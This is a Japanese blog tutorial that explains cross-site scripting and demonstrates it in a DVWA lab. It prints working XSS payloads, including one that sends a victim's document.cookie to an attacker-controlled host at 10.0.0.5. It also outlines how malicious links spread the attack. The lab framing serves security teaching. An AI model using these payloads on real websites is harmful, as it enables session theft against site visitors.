こんにちは、ゆるいぞITチャンネルです。
それでは今回は脆弱性をついた攻撃方法の一つである「XSS(クロスサイトスクリプティング)」について解説していきたいと思います。
※Youtubeでは動画版をご視聴いただけます。
- ハッキングスキルについて知りたい
- セキュリティの知識を学習したい
- ITインフラの知識を学習したい
※実務や演習等を除き、インターネット上のサーバへクラッキングすることは違法行為となりますのでご注意ください。
0.使用する環境
ソフトウェア
- 仮想環境 : Virtual Box
- 攻撃用サーバ : Kali Linux
- ターゲットホスト : Metasploitable2(DVWA)
演習環境

1.XSS(クロスサイトスクリプティング)とは?

ゆるいぞIT
まずは今回のお題である「XSS(クロスサイトスクリプティング)」の概要について説明します。
”XSS”とは脆弱性のあるWebサイトに対して悪意のあるスクリプトを実行することで、攻撃を受けたWebサイトであったり、またはそのページを閲覧しにきたユーザ、その両者に対して被害を与える攻撃手法の一つになります。
例えば、Amazonなどのショッピングサイトを開いてみると、ページ上部に商品を検索するための検索窓が見えると思います。
ここにスクリプト「<script>alert(“xss”)</script>」を入力(実行)することで、本来の用途とは異なる処理が実行されてしまうことがあります。

Amazonのサイトは脆弱性がないのでスクリプトを実行しても何も起きませんが、XSSに関連する脆弱性がある場合、「意図しないポップアップの表示」、「Webサイト(ページ)の書き換え」、「ユーザのCookieの情報の盗聴」など、色々と良くないことができてしまいます。
2.XSS(クロスサイトスクリプティング)の実行
”XSS”の動作を確認するにあたって「DVWA」というツールを使用します。
はじめにDVWAのセキュリティレベルを設定します。
「high(高)」、「midium(中)」、「low(低)」とありますが、low(低)になるにつれてセキュリティが弱くなっていきます。
今回は「Low(低)」に設定して脆弱性がある状態にしておきます。

左メニューの「XSS reflected」を選択して”XSS”の動作確認を実施します。
「あなたの名前は何ですか?」ということで試しに何か適当に入力してみます。

通常であればこのように入力した”文字列”が帰ってきます。

それでは脆弱性をついた攻撃(XSS)を実行してみましょう。
ポップアップでメッセージを表示させたい場合は「alert + xxxxx」で実行します。
<script>alert(“ポップアップの表示”)</script>
実行後、画面上に表示されるのはただポップアップですが、通常のセキュリティレベルであれば実行されない処理になります。

セッションのCookie情報を表示させたい場合は「document.cookie」で実行します。
<script>alert(document.cookie)</script>

単純に情報を表示するだけではあまり意味はないですが、攻撃者が用意したサイトにCookie情報を送信するといったことも可能で、スクリプトを上手く組み合わせることで効果的な攻撃方法になります。
<script>window.location.href=’http://10.0.0.5/share/?cookie=‘+document.cookie</script>

特定のURLを指定することで、ユーザを別なページに遷移させることも可能です。
<script>window.location.href=’https://www.google.com/‘</script>

3.XSS(クロスサイトスクリプティング)でどういった被害にあうのか?
DVWAでの動作確認を踏まえた上で、具体的にどういった被害に合うのかというと…
※一例になります。
- ①攻撃者が掲示板やSNSなどを使い、人目に付く場所に悪意のあるスクリプトを含んだリンク(URL)を投稿する。

- ②そのリンク(URL)を見かけた一般のユーザが興味本位でクリックしてしまう。

- ③リンク(URL)に含まれていたスクリプトが実行されて、脆弱性があるWebサイトに転送される。

- ④転送された後に悪意のあるスクリプトが実行され「Webサイトの情報を改竄」、「アクセス者の情報の盗聴」といった処理が実行される。

- ⑤攻撃者にスクリプトが実行されたログが返ってくることで攻撃成功となる。

このように知らず知らずのうちにリンクをクリックしてしまったことで、攻撃に加担してしまっているという場合もあったりします。
スクリプト単体の事例でみてみると「特定のサイトに誘導するスクリプトを含んだリンクをバラまいて、ターゲットとするWebサイトに高負荷をかけてサイトを落として見れなくする」といった手法もあります。
こういう事例もあるので、可能な限りメールやSMSで送られてきたリンク、Web上に転がってる怪しいリンクなどは開かないでくださいねってことですね。
ということで、今回はここまでにしたいと思います。
それではまた次回お会いしましょう!
